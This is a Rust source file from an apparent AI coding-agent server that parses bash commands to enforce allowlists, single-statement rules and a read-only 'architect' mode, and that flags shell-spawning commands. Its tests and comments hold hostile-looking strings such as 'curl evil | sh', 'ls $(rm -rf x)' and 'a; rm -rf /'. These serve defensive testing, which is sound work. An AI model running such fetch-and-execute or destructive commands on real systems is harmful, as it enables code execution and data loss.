Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7/// Replace supplementary-plane code points (>= U+10000, i.e. 4-byte UTF-8) with
8/// U+FFFD before handing text to tree-sitter-bash.
9///
10/// The grammar's C external scanner reads out of bounds on a supplementary-plane
11/// char next to brace context and SIGSEGVs the process — a fatal, NON-deterministic
12/// crash (verified by fuzzing: BMP input never triggered it; supplementary input
13/// crashed ~64% of the time). Under `panic = "abort"` that segfault takes the whole
14/// MCP server down, so a single crafted `BashCommand` is a remote denial of service.
15///
16/// We only parse for *structure* (statement count, command names), so swapping these
17/// rare chars for U+FFFD is invisible to the caller: `bash -n` and the actual
18/// execution still see the original command (emoji and all). Returns `Cow::Borrowed`
19/// for the overwhelmingly common all-BMP case, so there's no cost on the hot path.
20fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21    if command.chars().any(|c| c as u32 >= 0x1_0000) {
22        Cow::Owned(
23            command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24        )
25    } else {
26        Cow::Borrowed(command)
27    }
28}
29
30/// Validate that `command` is a single top-level bash statement.
31///
32/// `allow_shell_probe` controls the tree-sitter-error fallback: when the
33/// embedded grammar flags an error, we *can* ask the real `bash -n -c` whether
34/// the syntax is actually valid (the grammar lags real bash). That spawns a
35/// shell on the request path, so it's gated to trusted (`wcgw`) mode only — in
36/// restricted modes (`code_writer`/`architect`) we must not spawn `bash` to
37/// vet a command, so tree-sitter's verdict is final there.
38pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39    let trimmed = command.trim();
40    if trimmed.is_empty() {
41        return Ok(());
42    }
43    if trimmed.contains('\0') {
44        return Err(WinxError::CommandExecutionError(
45            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46        ));
47    }
48
49    // Parse a copy with supplementary-plane chars neutralized (see
50    // `neutralize_supplementary`): tree-sitter-bash segfaults on them. `bash -n`
51    // below and the eventual execution still see the original `trimmed`.
52    let parse_src = neutralize_supplementary(trimmed);
53
54    let mut parser = Parser::new();
55    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56    parser.set_language(&language).map_err(|error| {
57        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58    })?;
59
60    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62    })?;
63    let root = tree.root_node();
64
65    if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66        return Err(WinxError::CommandExecutionError(
67            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68        ));
69    }
70
71    // `parse_src` (not `trimmed`): the node byte offsets index the parsed string.
72    let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74    if statement_count > 1 && !trimmed.contains('\n') {
75        return Err(WinxError::CommandExecutionError(
76            "Command should contain a single top-level bash statement. Fix one of three ways: \
77             send one statement per call; put each statement on its own line (multiline is \
78             allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
79             \"allow_multi\": true} when the composite is intentional."
80                .to_string(),
81        ));
82    }
83
84    Ok(())
85}
86
87/// When tree-sitter flags a syntax error we *may* defer to the real `bash -n`
88/// (the embedded grammar lags real bash). That probe spawns a shell, so it only
89/// runs in trusted (wcgw) mode — `allow_shell_probe` gates it. In restricted
90/// modes (`code_writer`/`architect`) the grammar's verdict is final and we never
91/// shell out to vet a command.
92fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
93    allow_shell_probe && bash_accepts_syntax(command)
94}
95
96fn bash_accepts_syntax(command: &str) -> bool {
97    std::process::Command::new("bash")
98        .arg("-n")
99        .arg("-c")
100        .arg(command)
101        .status()
102        .is_ok_and(|status| status.success())
103}
104
105#[derive(Debug, Clone)]
106struct StatementNode {
107    kind: String,
108    start_byte: usize,
109    end_byte: usize,
110}
111
112fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
113    let mut statements = Vec::new();
114    collect_statement_nodes(root, &mut statements);
115
116    statements
117        .iter()
118        .filter(|stmt| stmt.kind != "comment")
119        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
120        .count()
121}
122
123fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
124    if is_statement_node(node.kind()) {
125        statements.push(StatementNode {
126            kind: node.kind().to_string(),
127            start_byte: node.start_byte(),
128            end_byte: node.end_byte(),
129        });
130    }
131
132    let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
133    for index in 0..child_count {
134        if let Some(child) = node.named_child(index) {
135            collect_statement_nodes(child, statements);
136        }
137    }
138}
139
140fn is_statement_node(kind: &str) -> bool {
141    matches!(
142        kind,
143        "command"
144            | "variable_assignment"
145            | "declaration_command"
146            | "unset_command"
147            | "comment"
148            | "for_statement"
149            | "c_style_for_statement"
150            | "while_statement"
151            | "if_statement"
152            | "case_statement"
153            | "function_definition"
154            | "pipeline"
155            | "list"
156            | "compound_statement"
157            | "subshell"
158            | "redirected_statement"
159    )
160}
161
162fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
163    if stmt.start_byte == other.start_byte
164        && stmt.end_byte == other.end_byte
165        && stmt.kind == other.kind
166    {
167        return false;
168    }
169
170    let other_text = &source[other.start_byte..other.end_byte];
171    if other.kind == "list" && other_text.contains(';') {
172        return false;
173    }
174
175    other.start_byte <= stmt.start_byte
176        && other.end_byte >= stmt.end_byte
177        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
178        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
179}
180
181/// Collect the full text of every `command` node in the script.
182///
183/// Descends through pipelines, lists, subshells, command/process substitution,
184/// loops and conditionals, so an allowlist can be enforced against EVERY command
185/// a line would run — not just `command_line.split_whitespace().next()`, which
186/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
187///
188/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
189/// callers treat that as "not allowed" (fail closed). Code hidden inside a
190/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
191/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
192pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
193    let trimmed = command.trim();
194    if trimmed.is_empty() {
195        return Ok(Vec::new());
196    }
197    if trimmed.contains('\0') {
198        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
199    }
200
201    // See `neutralize_supplementary`: parse a sanitized copy so a supplementary
202    // code point can't segfault tree-sitter. The extracted command texts feed the
203    // allowlist, which keys on the (ASCII) command name, so a U+FFFD standing in
204    // for an emoji in some argument doesn't change enforcement.
205    let parse_src = neutralize_supplementary(trimmed);
206
207    let mut parser = Parser::new();
208    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
209    parser.set_language(&language).map_err(|error| {
210        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
211    })?;
212
213    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
214        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
215    })?;
216    let root = tree.root_node();
217    if root.has_error() {
218        return Err(WinxError::CommandExecutionError(
219            "Command could not be parsed for allowlist enforcement.".to_string(),
220        ));
221    }
222
223    let mut texts = Vec::new();
224    collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
225    Ok(texts)
226}
227
228/// Return statically visible filesystem destinations written by a shell command.
229///
230/// This is deliberately conservative: dynamic expansions are ignored instead of
231/// guessed, while output redirects and common file-producing commands expose
232/// their literal destinations. Callers use the result for narrow path-policy
233/// checks, never as a general shell sandbox.
234pub fn extract_static_write_paths(command: &str) -> Vec<String> {
235    let trimmed = command.trim();
236    if trimmed.is_empty() || trimmed.contains('\0') {
237        return Vec::new();
238    }
239
240    let parse_src = neutralize_supplementary(trimmed);
241    let mut parser = Parser::new();
242    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
243    if parser.set_language(&language).is_err() {
244        return Vec::new();
245    }
246    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return Vec::new() };
247
248    let mut paths = Vec::new();
249    collect_static_write_paths(tree.root_node(), parse_src.as_ref().as_bytes(), &mut paths);
250    paths.sort();
251    paths.dedup();
252    paths
253}
254
255fn collect_static_write_paths(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
256    match node.kind() {
257        "file_redirect" => collect_redirect_destination(node, src, out),
258        "command" => collect_command_destinations(node, src, out),
259        _ => {}
260    }
261
262    let mut cursor = node.walk();
263    for child in node.children(&mut cursor) {
264        collect_static_write_paths(child, src, out);
265    }
266}
267
268fn collect_redirect_destination(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
269    let Some(destination) = node.child_by_field_name("destination") else { return };
270    let prefix_end = destination.start_byte().saturating_sub(node.start_byte());
271    let Ok(redirect) = node.utf8_text(src) else { return };
272    let prefix = redirect.get(..prefix_end).unwrap_or(redirect);
273    if !prefix.contains('>') {
274        return;
275    }
276    if let Ok(text) = destination.utf8_text(src) {
277        push_static_shell_word(text, out);
278    }
279}
280
281fn collect_command_destinations(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
282    let Some(name) = node.child_by_field_name("name") else { return };
283    let Ok(name) = name.utf8_text(src) else { return };
284    let Some(name) = static_shell_word(name) else { return };
285    let name = std::path::Path::new(&name)
286        .file_name()
287        .and_then(std::ffi::OsStr::to_str)
288        .unwrap_or(name.as_str());
289
290    let mut cursor = node.walk();
291    let arguments = node
292        .children_by_field_name("argument", &mut cursor)
293        .filter_map(|argument| argument.utf8_text(src).ok())
294        .filter_map(static_shell_word)
295        .collect::<Vec<_>>();
296    let positional =
297        arguments.iter().filter(|argument| !argument.starts_with('-')).cloned().collect::<Vec<_>>();
298
299    match name {
300        "tee" | "touch" | "truncate" | "mkdir" | "mkfifo" => {
301            out.extend(positional);
302        }
303        "cp" | "mv" | "install" | "ln" => {
304            if let Some(destination) = positional.last() {
305                out.push(destination.clone());
306            }
307            for argument in &arguments {
308                if let Some(destination) = argument.strip_prefix("--target-directory=") {
309                    out.push(destination.to_string());
310                }
311            }
312        }
313        "dd" => {
314            for argument in &arguments {
315                if let Some(destination) = argument.strip_prefix("of=") {
316                    out.push(destination.to_string());
317                }
318            }
319        }
320        "sed" | "perl"
321            if arguments.iter().any(|argument| {
322                argument == "-i"
323                    || argument.starts_with("-i")
324                    || argument == "-pi"
325                    || argument.starts_with("-pi")
326            }) =>
327        {
328            out.extend(positional);
329        }
330        _ => {}
331    }
332}
333
334fn push_static_shell_word(text: &str, out: &mut Vec<String>) {
335    if let Some(word) = static_shell_word(text) {
336        out.push(word);
337    }
338}
339
340fn static_shell_word(text: &str) -> Option<String> {
341    let text = text.trim();
342    if text.is_empty() {
343        return None;
344    }
345
346    let bytes = text.as_bytes();
347    let unquoted = if bytes.len() >= 2
348        && matches!(
349            (bytes.first(), bytes.last()),
350            (Some(b'\''), Some(b'\'')) | (Some(b'"'), Some(b'"'))
351        ) {
352        &text[1..text.len() - 1]
353    } else {
354        text
355    };
356    let known_temp_path = unquoted == "$WINX_TEMP_DIR"
357        || unquoted == "${WINX_TEMP_DIR}"
358        || unquoted.starts_with("$WINX_TEMP_DIR/")
359        || unquoted.starts_with("${WINX_TEMP_DIR}/");
360    if unquoted.is_empty()
361        || unquoted.contains('`')
362        || unquoted.contains('*')
363        || unquoted.contains('?')
364        || (unquoted.contains('$') && !known_temp_path)
365        || (known_temp_path
366            && unquoted
367                .trim_start_matches("${WINX_TEMP_DIR}")
368                .trim_start_matches("$WINX_TEMP_DIR")
369                .contains('$'))
370    {
371        None
372    } else {
373        Some(unquoted.replace("\\ ", " ").replace("\\\"", "\"").replace("\\'", "'"))
374    }
375}
376
377fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
378    if node.kind() == "command" {
379        if let Ok(text) = node.utf8_text(src) {
380            out.push(text.to_string());
381        }
382    }
383    let mut cursor = node.walk();
384    for child in node.children(&mut cursor) {
385        collect_command_texts(child, src, out);
386    }
387}
388
389/// Commands that can execute arbitrary code passed as a string argument.
390///
391/// If a `code_writer` allowlist permits any of these, the allowlist is
392/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
393/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
394/// can't inspect the code hidden inside. This list backs an advisory warning,
395/// not enforcement — enforcement stays fail-closed regardless.
396pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
397    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
398    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
399    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
400];
401
402/// Commands exposed by architect mode. This deliberately omits general-purpose
403/// interpreters and utilities with write/exec primitives (`sed`, `awk`, `find`,
404/// `tee`, ...). Bash restricted mode is only defense in depth: it does not make
405/// ordinary commands such as `touch` or `rm` read-only.
406pub const ARCHITECT_COMMANDS: &[&str] = &[
407    "pwd",
408    "ls",
409    "rg",
410    "grep",
411    "head",
412    "tail",
413    "wc",
414    "stat",
415    "file",
416    "readlink",
417    "realpath",
418    "basename",
419    "dirname",
420    "printf",
421    "echo",
422    "type",
423    "which",
424    "uname",
425    "date",
426    "id",
427    "whoami",
428    "du",
429    "df",
430    "tree",
431    "git status",
432    "git diff",
433    "git log",
434    "git show",
435    "git ls-files",
436    "git grep",
437    "git rev-parse",
438    "git branch --show-current",
439];
440
441pub fn architect_allowed_commands() -> Vec<String> {
442    ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
443}
444
445/// Fail-closed read-only policy for architect shell commands.
446///
447/// The normal allowlist checks every nested command, but a few nominally
448/// read-only programs have options that execute helpers or write files. Validate
449/// those options here as well so `rg --pre`, `git diff --ext-diff`, and
450/// `git show --output=...` cannot turn the architect shell into a mutation path.
451pub fn is_architect_command_allowed(command_line: &str) -> bool {
452    if contains_file_redirect(command_line) {
453        return false;
454    }
455    let Ok(commands) = extract_command_texts(command_line) else { return false };
456    !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
457}
458
459/// Reject shell-managed file redirects in architect mode. Even a harmless
460/// command such as `echo` or `git diff` becomes a write primitive when followed
461/// by `> file`; checking command names alone cannot see that side effect.
462fn contains_file_redirect(command: &str) -> bool {
463    let parse_src = neutralize_supplementary(command.trim());
464    let mut parser = Parser::new();
465    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
466    if parser.set_language(&language).is_err() {
467        return true;
468    }
469    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
470    let root = tree.root_node();
471    root.has_error() || node_tree_contains_kind(root, "file_redirect")
472}
473
474fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
475    if node.kind() == kind {
476        return true;
477    }
478    let mut cursor = node.walk();
479    let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
480    found
481}
482
483fn architect_command_is_safe(command: &str) -> bool {
484    let words: Vec<&str> = command.split_whitespace().collect();
485    let Some(program) = words.first().copied() else { return false };
486
487    if program == "git" {
488        let Some(subcommand) = words.get(1).copied() else { return false };
489        if subcommand == "branch" {
490            return words.as_slice() == ["git", "branch", "--show-current"];
491        }
492        if !matches!(
493            subcommand,
494            "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
495        ) {
496            return false;
497        }
498        return !words.iter().skip(2).any(|word| {
499            word.starts_with("--output")
500                || *word == "--ext-diff"
501                || *word == "--textconv"
502                || word.starts_with("--open-files-in-pager")
503        });
504    }
505
506    let allowed = ARCHITECT_COMMANDS
507        .iter()
508        .filter(|entry| !entry.starts_with("git "))
509        .any(|entry| *entry == program);
510    if !allowed {
511        return false;
512    }
513
514    if program == "rg" {
515        return !words.iter().skip(1).any(|word| {
516            word == &"--pre"
517                || word.starts_with("--pre=")
518                || word == &"--hostname-bin"
519                || word.starts_with("--hostname-bin=")
520        });
521    }
522
523    true
524}
525
526/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
527/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
528///
529/// The allowlist matches on command *name*, so we compare the basename of each
530/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
531/// `find -exec rm {} +` all resolve to `find`.
532pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
533    let mut hits: Vec<String> = allowed
534        .iter()
535        .filter_map(|entry| {
536            let first = entry.split_whitespace().next()?;
537            let base = std::path::Path::new(first).file_name()?.to_str()?;
538            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
539        })
540        .collect();
541    hits.sort();
542    hits.dedup();
543    hits
544}
545
546#[cfg(test)]
547mod tests {
548    use super::assert_single_statement;
549    use super::detect_allowlist_bypass;
550    use super::extract_command_texts;
551    use super::extract_static_write_paths;
552    use super::is_architect_command_allowed;
553    use proptest::prelude::*;
554
555    proptest! {
556        /// This gate parses untrusted LLM command strings with tree-sitter; under
557        /// panic=abort, any panic here crashes the server. It must only ever return
558        /// Ok/Err — never panic — for ANY input (incl. multiline, control chars, junk).
559        #[test]
560        fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
561            let _ = assert_single_statement(&cmd, false);
562            let _ = assert_single_statement(&cmd, true);
563        }
564
565        #[test]
566        fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
567            let _ = extract_command_texts(&cmd);
568        }
569
570        #[test]
571        fn extract_static_write_paths_never_panics(cmd in "[\\s\\S]{0,80}") {
572            let _ = extract_static_write_paths(&cmd);
573        }
574    }
575
576    #[test]
577    fn supplementary_plane_input_does_not_segfault_the_parser() {
578        // Regression: `{` followed by a supplementary-plane code point (>= U+10000)
579        // made tree-sitter-bash's C scanner read out of bounds and SIGSEGV the whole
580        // process (a fatal, non-deterministic DoS under panic=abort). Both parse paths
581        // must now return cleanly. Run the minimal trigger many times to beat the
582        // non-determinism, plus a few representative supplementary chars.
583        for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
584            for _ in 0..40 {
585                let cmd = format!("{{{c}");
586                let _ = assert_single_statement(&cmd, false);
587                let _ = extract_command_texts(&cmd);
588            }
589        }
590    }
591
592    #[test]
593    fn emoji_command_still_validates_as_single_statement() {
594        // The fix sanitizes ONLY the parsed copy, so a legit command carrying an
595        // emoji is still accepted (not rejected) and seen as one statement.
596        assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
597    }
598
599    #[test]
600    fn architect_policy_allows_read_only_exploration() {
601        for command in [
602            "pwd",
603            "rg -n TODO src | head -20",
604            "git status --short",
605            "git diff -- src/lib.rs",
606            "git branch --show-current",
607        ] {
608            assert!(is_architect_command_allowed(command), "should allow: {command}");
609        }
610    }
611
612    #[test]
613    fn architect_policy_blocks_mutation_and_helper_execution() {
614        for command in [
615            "touch owned",
616            "rm file",
617            "sed -i s/a/b/ file",
618            "git checkout -- file",
619            "git diff --output=leak.patch",
620            "git branch --show-current --delete main",
621            "rg --pre 'touch owned' pattern",
622            "rg pattern $(touch owned)",
623            "echo owned > marker",
624            "git diff >> marker",
625            "ls 2> marker",
626        ] {
627            assert!(!is_architect_command_allowed(command), "should reject: {command}");
628        }
629    }
630
631    #[test]
632    fn extracts_nested_commands_for_allowlist() {
633        // Pipelines, && and command substitution must all surface.
634        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
635        assert!(names.iter().any(|c| c.starts_with("ls")));
636        assert!(names.iter().any(|c| c.starts_with("curl")));
637        assert!(names.iter().any(|c| c.starts_with("sh")));
638
639        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
640        assert!(subst.iter().any(|c| c.starts_with("rm")));
641    }
642
643    #[test]
644    fn extracts_literal_shell_write_destinations() {
645        let command = "cat <<'EOF' > '.winx-review-carrier.js'\ncontent\nEOF\n\
646                       printf x | tee .winx/tmp/direct.ts\n\
647                       cp source.ts .winx/tmp/copied.ts\n\
648                       dd if=source of=.winx/tmp/image.bin";
649        let paths = extract_static_write_paths(command);
650
651        for expected in [
652            ".winx-review-carrier.js",
653            ".winx/tmp/direct.ts",
654            ".winx/tmp/copied.ts",
655            ".winx/tmp/image.bin",
656        ] {
657            assert!(paths.iter().any(|path| path == expected), "missing {expected}: {paths:?}");
658        }
659    }
660
661    #[test]
662    fn ignores_reads_but_extracts_the_server_owned_temp_destination() {
663        let command = "cat .winx-review-carrier.js\n\
664                       rg needle .winx/tmp/direct.ts\n\
665                       printf x > \"$WINX_TEMP_DIR/helper.ts\"";
666        assert_eq!(extract_static_write_paths(command), ["$WINX_TEMP_DIR/helper.ts"]);
667    }
668
669    #[test]
670    fn accepts_shell_chains_as_single_statement() {
671        assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
672    }
673
674    #[test]
675    fn accepts_heredocs_as_single_statement() {
676        let command = "cat <<'EOF'\nhello\nEOF";
677        assert!(assert_single_statement(command, true).is_ok());
678    }
679
680    #[test]
681    fn accepts_for_loop_as_single_compound_statement() {
682        assert!(
683            assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
684        );
685    }
686
687    #[test]
688    fn rejects_semicolon_separated_top_level_statements() {
689        assert!(assert_single_statement("pwd; ls", true).is_err());
690    }
691
692    #[test]
693    fn accepts_multiline_scripts() {
694        assert!(assert_single_statement("pwd\nls", true).is_ok());
695    }
696
697    #[test]
698    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
699        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
700        assert!(assert_single_statement(command, true).is_ok());
701    }
702
703    #[test]
704    fn shell_probe_is_gated_to_trusted_mode() {
705        use super::rescued_by_shell_probe;
706        // The probe (`bash -n`) only runs in trusted (wcgw) mode. Tested on the
707        // pure decision so it doesn't depend on finding a command the embedded
708        // grammar happens to reject — which is the whole point of the gate.
709        //
710        // Probe ON: a command real bash accepts is rescued past a tree-sitter error.
711        assert!(rescued_by_shell_probe("echo hi", true));
712        // Probe OFF (restricted modes): NOT rescued, even though bash would accept
713        // it — and crucially we never spawn a shell to find out.
714        assert!(!rescued_by_shell_probe("echo hi", false));
715        // Probe ON but genuinely broken syntax: bash rejects too, so no rescue.
716        assert!(!rescued_by_shell_probe("echo )(", true));
717    }
718
719    #[test]
720    fn detect_allowlist_bypass_flags_shell_spawners() {
721        let allowed = vec![
722            "ls".to_string(),
723            "bash".to_string(),
724            "cat -n".to_string(),
725            "find . -exec rm {} +".to_string(),
726        ];
727        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
728    }
729
730    #[test]
731    fn detect_allowlist_bypass_clean_list_is_empty() {
732        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
733        assert!(detect_allowlist_bypass(&allowed).is_empty());
734    }
735
736    #[test]
737    fn detect_allowlist_bypass_matches_basename_of_path() {
738        let allowed = vec!["/usr/bin/env python".to_string()];
739        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
740    }
741
742    #[test]
743    fn rejects_nul_with_actionable_message() {
744        let error = match assert_single_statement("printf '\0'", true) {
745            Ok(()) => String::new(),
746            Err(error) => error.to_string(),
747        };
748        assert!(error.contains("NUL byte"));
749        assert!(error.contains("\\\\x00"));
750    }
751}